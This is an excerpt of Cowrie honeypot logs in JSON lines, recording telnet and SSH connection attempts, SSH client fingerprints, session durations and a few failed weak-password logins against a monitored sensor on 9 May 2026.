{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":60918,"dst_ip":"159.203.135.109","dst_port":23,"session":"587512ed25bd","protocol":"telnet","message":"New connection: 135.148.33.91:60918 (159.203.135.109:23) [session: 587512ed25bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:21:47.326655Z"}
{"eventid":"cowrie.session.closed","duration":32.4632453918457,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:21:48.981773Z","src_ip":"104.140.145.149","session":"e2889f2e1efc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":35266,"dst_ip":"159.203.135.109","dst_port":23,"session":"d173603dacbd","protocol":"telnet","message":"New connection: 135.148.33.91:35266 (159.203.135.109:23) [session: d173603dacbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:21:50.830330Z"}
{"eventid":"cowrie.session.closed","duration":35.32978415489197,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:21:50.843318Z","src_ip":"135.148.33.91","session":"f354c816bf2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.158.22.150","src_port":34886,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c2bd379abc7","protocol":"ssh","message":"New connection: 185.158.22.150:34886 (159.203.135.109:22) [session: 0c2bd379abc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:21:54.224012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:21:54.229251Z","src_ip":"185.158.22.150","session":"0c2bd379abc7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:21:55.040019Z","src_ip":"185.158.22.150","session":"0c2bd379abc7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"123456","message":"login attempt [tester/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:21:55.518733Z","src_ip":"185.158.22.150","session":"0c2bd379abc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:21:56.681324Z","src_ip":"185.158.22.150","session":"0c2bd379abc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.330185413360596,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:21:57.203494Z","src_ip":"135.148.33.91","session":"ac615862e7da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.248.189.72","src_port":32968,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7cbe0f23bf1","protocol":"ssh","message":"New connection: 161.248.189.72:32968 (10.17.0.5:22) [session: b7cbe0f23bf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:21:59.632354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:21:59.636923Z","src_ip":"161.248.189.72","session":"b7cbe0f23bf1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:21:59.871902Z","src_ip":"161.248.189.72","session":"b7cbe0f23bf1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Kq123456","message":"login attempt [root/Kq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:22:00.846628Z","src_ip":"161.248.189.72","session":"b7cbe0f23bf1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.140.145.149","src_port":33864,"dst_ip":"159.203.135.109","dst_port":23,"session":"89ec73dff702","protocol":"telnet","message":"New connection: 104.140.145.149:33864 (159.203.135.109:23) [session: 89ec73dff702]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:22:01.829105Z"}
{"eventid":"cowrie.session.closed","duration":0.005317211151123047,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:22:01.834285Z","src_ip":"104.140.145.149","session":"89ec73dff702","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:22:02.084845Z","src_ip":"161.248.189.72","session":"b7cbe0f23bf1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":49516,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad15970a4473","protocol":"telnet","message":"New connection: 135.148.33.91:49516 (159.203.135.109:23) [session: ad15970a4473]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:22:14.752573Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":24462,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e862148c581","protocol":"ssh","message":"New connection: 194.59.206.2:24462 (159.203.135.109:22) [session: 7e862148c581]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:22:16.961181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:22:16.968376Z","src_ip":"194.59.206.2","session":"7e862148c581","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:22:17.053712Z","src_ip":"194.59.206.2","session":"7e862148c581","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:22:17.246608Z","src_ip":"194.59.206.2","session":"7e862148c581","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":51154,"dst_ip":"159.203.135.109","dst_port":23,"session":"42830996d733","protocol":"telnet","message":"New connection: 135.148.33.91:51154 (159.203.135.109:23) [session: 42830996d733]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:22:17.351318Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":49508,"dst_ip":"159.203.135.109","dst_port":23,"session":"4957f685bcb3","protocol":"telnet","message":"New connection: 135.148.33.91:49508 (159.203.135.109:23) [session: 4957f685bcb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:22:17.742664Z"}
{"eventid":"cowrie.session.closed","duration":36.77246594429016,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:22:21.086488Z","src_ip":"135.148.33.91","session":"755ca68e698b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.086915493011475,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:22:22.413456Z","src_ip":"135.148.33.91","session":"587512ed25bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0029616355896,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:22:24.591003Z","src_ip":"104.140.145.149","session":"7682dd8be13a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.563860177993774,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:22:25.394056Z","src_ip":"135.148.33.91","session":"d173603dacbd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":54636,"dst_ip":"159.203.135.109","dst_port":23,"session":"dfcf3b35d02c","protocol":"telnet","message":"New connection: 135.148.33.91:54636 (159.203.135.109:23) [session: dfcf3b35d02c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:22:26.815190Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":54126,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d18fc2636d4","protocol":"telnet","message":"New connection: 135.148.33.91:54126 (159.203.135.109:23) [session: 4d18fc2636d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:22:29.966240Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":53518,"dst_ip":"10.17.0.5","dst_port":23,"session":"15f32f989621","protocol":"telnet","message":"New connection: 45.58.127.90:53518 (10.17.0.5:23) [session: 15f32f989621]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:22:33.236908Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":33706,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c90c9d111d8","protocol":"telnet","message":"New connection: 135.148.33.91:33706 (159.203.135.109:23) [session: 0c90c9d111d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:22:37.470439Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":33246,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1fee3289370","protocol":"telnet","message":"New connection: 135.148.33.91:33246 (159.203.135.109:23) [session: f1fee3289370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:22:37.645098Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":34602,"dst_ip":"159.203.135.109","dst_port":23,"session":"035acafb6207","protocol":"telnet","message":"New connection: 135.148.33.91:34602 (159.203.135.109:23) [session: 035acafb6207]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:22:38.972057Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":54772,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4c02e7d97f8","protocol":"telnet","message":"New connection: 135.148.33.91:54772 (159.203.135.109:23) [session: e4c02e7d97f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:22:39.437709Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":35300,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd48fa0ccc66","protocol":"telnet","message":"New connection: 135.148.33.91:35300 (159.203.135.109:23) [session: dd48fa0ccc66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:22:40.166761Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":35686,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7fd16b4dff1","protocol":"telnet","message":"New connection: 135.148.33.91:35686 (159.203.135.109:23) [session: a7fd16b4dff1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:22:40.821548Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.158.22.150","src_port":57249,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3253602313f","protocol":"ssh","message":"New connection: 185.158.22.150:57249 (159.203.135.109:22) [session: e3253602313f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:22:42.151483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:22:42.156419Z","src_ip":"185.158.22.150","session":"e3253602313f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:22:42.314975Z","src_ip":"185.158.22.150","session":"e3253602313f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"1qaz2wsx","message":"login attempt [dev/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:22:42.976279Z","src_ip":"185.158.22.150","session":"e3253602313f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:22:44.137929Z","src_ip":"185.158.22.150","session":"e3253602313f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.140.145.149","src_port":56110,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf90a4112a05","protocol":"telnet","message":"New connection: 104.140.145.149:56110 (159.203.135.109:23) [session: cf90a4112a05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:22:46.718216Z"}
{"eventid":"cowrie.session.closed","duration":0.005068063735961914,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:22:46.723145Z","src_ip":"104.140.145.149","session":"cf90a4112a05","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.658263206481934,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:22:48.410701Z","src_ip":"135.148.33.91","session":"ad15970a4473","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.879210472106934,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:22:49.621755Z","src_ip":"135.148.33.91","session":"4957f685bcb3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.251.246.43","src_port":50250,"dst_ip":"10.17.0.5","dst_port":23,"session":"f55202647bc8","protocol":"telnet","message":"New connection: 146.251.246.43:50250 (10.17.0.5:23) [session: f55202647bc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:22:50.986989Z"}
{"eventid":"cowrie.session.closed","duration":35.587435722351074,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:22:52.938623Z","src_ip":"135.148.33.91","session":"42830996d733","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.208","src_port":11310,"dst_ip":"10.17.0.5","dst_port":22,"session":"8bc70c008de7","protocol":"ssh","message":"New connection: 45.153.34.208:11310 (10.17.0.5:22) [session: 8bc70c008de7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:22:59.857007Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:22:59.861657Z","src_ip":"45.153.34.208","session":"8bc70c008de7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.208","src_port":11326,"dst_ip":"10.17.0.5","dst_port":22,"session":"be5c60564450","protocol":"ssh","message":"New connection: 45.153.34.208:11326 (10.17.0.5:22) [session: be5c60564450]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:23:00.029721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:23:00.035227Z","src_ip":"45.153.34.208","session":"be5c60564450","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:23:00.119837Z","src_ip":"45.153.34.208","session":"be5c60564450","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"a","message":"login attempt [a/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:23:00.410913Z","src_ip":"45.153.34.208","session":"be5c60564450","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:23:01.508403Z","src_ip":"45.153.34.208","session":"be5c60564450","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.380016565322876,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:23:02.194973Z","src_ip":"135.148.33.91","session":"dfcf3b35d02c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.59894800186157,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:23:02.565063Z","src_ip":"135.148.33.91","session":"4d18fc2636d4","protocol":"telnet"}
